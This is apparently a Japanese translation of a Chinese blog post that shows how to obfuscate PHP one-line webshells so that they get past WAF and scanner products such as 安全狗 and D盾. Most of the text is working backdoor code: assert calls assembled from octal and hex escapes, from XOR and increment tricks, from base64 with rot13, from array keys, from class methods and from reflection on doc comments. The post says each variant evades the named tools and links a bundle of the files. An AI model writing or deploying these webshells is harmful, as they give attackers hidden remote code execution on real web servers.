前言#
最近、Freebuf と合天智汇が WAF を回避する記事を連続して発表している。一般的には見光死で、たまにしか発表しないが、最近は数日間連続で bypass の記事が出ているので、記録しておく。
原文来源: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ
この記事は原文を一度翻訳し、侵删する。
環境設定と webshell の理解#
- Virtualbox+Win7 SP1
- phpstudy2018 最近更新なし:http://down.php.cn/PhpStudy20180211.zip
- 安全狗、使用しているのは Apache 版 V4.0:http://free.safedog.cn/website_safedog.html
- D 盾、使用しているのは Web 検出版:http://www.d99net.net/
Windows の phpstudy に安全狗を設定する際ここに落とし穴がある。安全狗をインストールする際に設定画面が表示される:
赤字の部分は自動的に無視してください。Win7 の場合、まず phpstudy をサービスモードに設定し、サービスに Apache サービスが表示されたら、phpstudy を停止し、手動で Apache サービスを起動すれば安全狗がインストールできる。
Win10 の場合、phpstudy をシステムサービスモードに設定すると、services.msc でも Apache サービスが表示されないので、自分で手動でインストールする必要があります(cmd):
- cd C:\phpStudy\PHPTutorial\Apache\bin
- httpd.exe -k install -n apache2.4
その後、apache2.4 サービスを起動すれば、安全狗が認識できる。
bypass を始める前に、webshell の構成を理解しておきましょう:
webshell はどのように変化しても、図の 2 つの条件を満たす必要があり、WAF を回避するのはこの 2 つの条件を変化させることによって実現される。
まず、WAF の検出メカニズムをテストします。以下の 3 つのファイルを準備します:
php_1.php:<?php eval($_POST['a']);?>
php_2.php:
<?php
$a = "phpinfo();";
eval($a);?>
php_3.php:<?php $_POST['a'];?>
安全狗で検出してみます:
eval を含む敏感な文字と敏感なパラメータの $_POST はウイルスとして報告されていないので、WAF の一部のメカニズムはパラメータ追跡と総合判定であると推測できます。
bypass#
1. キーワード回避
php は非常に強力な言語であり、文字列のさまざまな変化を非常によくサポートしています。
進数変換、16 進数、8 進数などを使用できます。
<?php
$a="\141";#八進数のa
$a .= "\163";#八進数のs
$a .= "\x73";#十六進数のs
$a .= "\x65";#十六進数のe
$a .= "\x72";#十六進数のr
$a .= "\164";#十六進数のt
@$a($_POST["a"]);
?>
なぜ eval ではなく assert を使用するのか:eval は関数ではなく、このような呼び出しをサポートしていません。
これで安全狗を回避しましたが、D 盾は通過できません:
2. 算術演算
自増、排他的論理和、反転などの方法を使用して、必要な文字を取得し、関数を組み合わせて動的に呼び出すことができます。
例えば、a を定義し、自増演算を行って他の必要な文字を取得しますが、自減はできないことに注意してください。
しかし、この方法では小文字の文字しか取得できず、_POST や_GET を取得することはできません。
PHP では、2 つの文字列が排他的論理和を実行した後、得られるのは依然として文字列です。
したがって、ここでは排他的論理和と反転を使用して、大文字の文字を取得できます。
php スクリプトを書きます:
<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(", ")", "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); //特殊文字
$alength=count($a);
for($x=0;$x<$alength;$x++) {
for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; //出力遍歴排他的論理和の結果
}}
?>
考えられる特殊文字をすべて投入して排他的論理和の結果を得て、必要な文字を取得します。ここでは_POST を取得する例を示します。
_は | と #を使用して排他的論理和を取得できます:
その後、一つずつ見つけ出し、得られた結果は:
上記の自増を組み合わせることで、以下のコードを得ることができます:
<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>
テストしてみると、安全狗は通過できますが、D 盾は通過できません。しかし、安全レベルは低下しましたが、問題ありません、続けます:
3. エンコーディングと結合
base64 および rot13 エンコーディングを使用して、動的関数呼び出しを行い、以下のコードを得ます:
<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>
安全狗は安定して通過しますが、D 盾はまだ通過できませんが、レベルは再び低下し、二級になりました:
上記の内容を組み合わせて、自増演算とパラメータの伝達を用いて検出ルールを破ることができます。
<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>
安全狗は再び無圧力で通過し、D 盾のレベルも再び低下し、レベル 1 になり、変数関数が 1 つ報告されました。この点に関して、もう少し改良します。今回は配列の方法を採用し、何度も変換を行い、パラメータの混乱を加えて bypass を達成します。
コードは以下の通り:
<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);//配列の交差を取得
$a = array_keys($result);//配列のキーを取得
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);//ルールを混乱させる
?>
安全狗、D 盾、深信服、360 ホスティングガードをすでに bypass できたことがわかります。
もちろん、これだけではなく、php は本当に柔軟です。
- uopz_function()
- uasort()
- uksort()
- array_uintersect_uassoc()
- array_udiff_assoc()
なども bypass に使用でき、使い方は自分で試すことができます。
大佬は他の 2 つの考え方も示しました:
この一言は、鹏城杯のオフライン競技で現れ、自己増加でキーワードを取得し、クラスを定義し、クラス内の関数を自己呼び出しして bypass を行います。
<?php
error_reporting(0);//エラー表示を除去
class Foo //FOOという名前のクラスを作成
{
function Variable($c)
{
$name = 'Bar';
$b=$this->$name(); // Barを呼び出す
$b($c);
}
function Bar()
{
$__='a';
$a1=$__; //$a1=a;
$__++;$__++;$__++;$__++;//$a__=e;
$a2=$__; //$a2=e;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
$a3=$__++; //$a3=r;$__=s;
$a4=$__++; //$a4=s;$__=t;
$a5=$__; //$a5=$__=t;
$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
return $a; //$aの値を返す
}
}
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
$b1=$_++; //$b1=O;$_=P;
$b2=$_; //$b2=$_=P
$_++;$_++;$_++; //$_=S
$b3=$_++; //$b3=S;$_=T;
$b4=$_; //$b4=$_=T;
$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
return $b; //$bの値を返す
}
$foo = new Foo(); //fooという名前のオブジェクトを作成
$funcname = "Variable"; //Variableの値を変数funcnameに代入
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); // $foo->Variable($bb)を呼び出す
?>
もう一つは、PHP のリフレクションメカニズムを利用して、コメントの内容を取得し、assert を組み立てて動的に実行するコードは以下の通りです:
<?php
/**
-
as
-
5
-
se
-
*/
class a{
function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());//リフレクションオブジェクトを作成
$arr = explode("*", $aa->getDocComment());//オブジェクトaの注釈を取得
$str = ereg_replace("-","",$arr[2]);//オブジェクトaの注釈を取得
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>
効果は以下の通りです:
このようにして D 盾、安全狗などを bypass することができます。
bypass の考え方はさらにあります:
- キャッシュに webshell を書く
- コールバック関数
- 正規表現マッチングによる回避
- 無名関数
この記事のすべてのファイルはパッケージ化されています:https://www.lanzous.com/i2xe6pa